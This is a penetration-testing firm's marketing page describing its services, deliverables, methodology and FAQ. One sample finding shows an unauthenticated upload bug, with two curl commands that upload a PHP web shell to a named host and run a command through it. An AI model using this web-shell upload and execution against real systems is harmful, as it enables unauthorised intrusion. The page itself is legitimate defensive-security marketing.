offensive security as a function

Real attacks. Honest reports.

Senior-led penetration testing for teams preparing for SOC 2, HIPAA, PCI DSS, ISO 27001, or a release they can’t afford to break. Manual exploitation, working PoCs, reports your engineers can act on this sprint.

01. offerings

Three ways to work with us.

A focused engagement, an adversarial simulation, or ongoing security advice. Pick the one that matches the question you need answered.

2–4 weeks web · api · cloud

Penetration testing

Senior-led security assessment of a single application, its API surface, and adjacent cloud resources. Authenticated and unauthenticated paths.

  • Final report with reproduction steps
  • Working PoC for every finding
  • Remediation review on patches
  • Re-test after fixes (one round)
4–8 weeks goal-based

Red team operation

Adversarial simulation against your detection & response. Pick the crown jewel; we attempt to reach it. Tests people, process, and tooling. Not just the perimeter.

  • Executive narrative + technical timeline
  • MITRE ATT&CK mapping
  • Detection gap analysis
  • Purple team debrief session
ongoing retainer

Advisory retainer

On-call security expertise for product and engineering teams. Threat modeling, design reviews, incident triage. Answers the question before the breach makes it urgent.

  • Async & scheduled consultation
  • Quarterly threat model refresh
  • Incident triage support (SLA)
  • Architecture review on-demand
02. services

Penetration testing across your stack.

Black-box, gray-box, or white-box, depending on what you need verified. Senior testers run the engagement end to end with manual exploitation and working proofs of concept.

Penetration testing

Web, mobile, IoT, AI, network, AD, WiFi. Manual exploitation with audit-ready reporting.

Social engineering

Phishing, vishing, spear phishing, whaling. Controlled simulation of human-layer attacks.

AI security

Prompt injection, model abuse, agent safety, LLM attack paths, guardrail testing.

Compliance gap analysis

ISO 27001, PCI DSS, SOC 2, GDPR, HIPAA, NIST CSF. Pre-audit readiness and control mapping.

03. deliverables

What you walk away with.

Six artifacts at the end of every engagement. Built so your auditor accepts them and your engineers can act on them in the same week.

Executive summary

One page for the board, the CISO, or the auditor. Risk in plain language, no scanner output, no severity inflation.

Structured findings

Each finding has reproduction steps, evidence, business impact, and a fix. Filterable, exportable, and ready to drop into Jira or Linear.

Working PoCs

Every exploitable finding ships with a proof-of-concept your engineers can run locally. No “we suspect” or “potentially exploitable” hand-waving.

Remediation roadmap

A prioritized list of what to fix this sprint, this quarter, and this year. Sequenced by exploitability and effort.

Retest report

After remediation we retest each finding and issue a clean retest report. Auditors accept it as evidence of closure.

Walkthrough call

A live debrief with your engineers and security leads. Q&A on every finding. Records available for stakeholders who couldn't join.

04. how we work

A six-stage methodology, every engagement.

No black-box reporting. From kickoff to retest, you’ll know what we’re doing, why, and how to fix what we find.

  1. stage 01

    Kickoff & Scoping

    Define targets, rules of engagement, and success criteria. We agree on scope, testing windows, blast radius, and escalation paths in writing before any traffic touches your systems.

  2. stage 02

    Reconnaissance & Mapping

    Enumerate attack surface from outside in. Asset discovery, subdomain enumeration, technology fingerprinting, exposed services. We document what’s reachable before deciding what to test.

  3. stage 03

    Vulnerability Analysis

    Identify weaknesses across the defined scope. Authenticated and unauthenticated paths, business logic, access controls, third-party components. We surface real candidates, not scanner noise.

  4. stage 04

    Testing & Exploitation

    Manual validation of every candidate. We exploit findings to confirm they’re real, chain them where it matters, and measure actual business impact. No “potentially exploitable” hand-waving.

  5. stage 05

    Reporting & Prioritization

    Structured findings with severity, reproduction steps, evidence, and remediation. Each one ready to drop into Jira or Linear. Prioritized by exploitability and effort, not severity inflation.

  6. stage 06

    Delivery & Retest

    Live debrief with your engineers and security leads. Q&A on every finding. After remediation we retest each finding and issue a clean retest report your auditor will accept.

05. why us

One senior operator. Start to finish.

Senior testers. Manual exploitation. Reports your engineers can act on.

Operator-led engagements

The person who scopes your assessment runs it. No handoffs, no juniors.

Fixed price after scoping

Free scoping call. Clear deliverables. Fixed cost. No surprises.

Reports for engineers

Structured findings with evidence, severity, and step-by-step remediation. Each one ready to drop into Jira or Linear.

Retest included

Every engagement includes a retest window to validate your remediation.

Methodology-aligned

Aligned with OWASP, OSSTMM, PTES, and NIST. Audit-ready by default.

Working PoCs

Every exploitable finding ships with a proof-of-concept your engineers can run locally.

06. when teams hire us

Common triggers.

Most engagements start the same way. If one of these matches what you’re dealing with, we should talk.

Before a SOC 2 or ISO audit

The auditor asked for a third-party penetration test. You need findings, evidence, and a remediation track auditors will accept.

After an incident

You found something, or someone did. You need to know what else was missed, what's exposed now, and what the next quarter's roadmap should look like.

Before a release or M&A

A major launch, a new business line, a diligence ask. You need a clean security signal before the deal, the demo, or the press release.

Engineering wants to know what's missing

No incident, no audit. Your team is mature enough to want adversarial review of code, architecture, and controls before someone less friendly does it.

An enterprise prospect is asking

A customer's procurement or security team asked for a recent third-party pentest as part of vendor onboarding. The deal won’t move without it. You need a clean report you can hand over without redaction.

Annual cadence or cyber insurance renewal

Your board, your cyber insurer, or your security policy requires an annual third-party test. You need it done well enough that next year's report doesn’t read like the last one with the date changed.

07. sample findings

The risks we uncover.

Real vulnerabilities from real engagements. Prioritized by exploitability and business impact.

CRITICAL PS-2026-0137 cvss 9.8

RCE via unauthenticated upload handler

assets.acme-corp.com

The /upload.php endpoint accepts arbitrary file extensions without auth. Uploaded a PHP webshell; code execution achieved as www-data within 8 minutes.

Show proof of concept
shell
$ curl -F 'f=@shell.php' https://assets.acme-corp.com/upload.php
{"ok":true,"path":"/uploads/shell.php"}

$ curl 'https://assets.acme-corp.com/uploads/shell.php?c=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

// see the sample report for the full detail format we deliver.

08. faq

Questions teams ask before they hire us.

What comes up in almost every scoping call. Tap to expand.

How long does an engagement take?

Most web or API engagements run 2 to 4 weeks. Full-stack or red team is 4 to 8 weeks. Scoping calls usually run a week before kickoff.

How do you price?

Fixed price after a free scoping call. Price depends on scope and depth, not hours billed. We publish how scope drives price on a separate page.

Will the test break production?

We default to staging or a production-like environment. If production is in scope, we agree blast radius and stop conditions in writing before any traffic touches it.

Do you sign NDAs?

Yes. We have an NDA template ready, or we sign yours. The first 30-minute scoping call does not require one.

Can your report support our SOC 2 or ISO audit?

Yes. The report covers scope, methodology, findings with severity, remediation, and a retest section. That's the evidence auditors sign off.

What happens if you find a critical?

You hear about it the same day, in writing. We don’t sit on criticals until the final report. If it is actively exploitable, we coordinate disclosure with you immediately.

Is retesting included?

Yes, every engagement includes one retest window after remediation. We re-validate each finding and issue a clean retest report for auditor evidence.

Where is your team based?

Lead operators in Europe; most clients are US-based. Working hours overlap your business day end-to-end. Named senior practitioners run every test. No offshoring, no junior handoffs, no anonymized “research team” doing the work.

Ready to test your defenses?

30-minute scoping call. No NDA required for the first conversation. Fixed price after scoping. No surprises.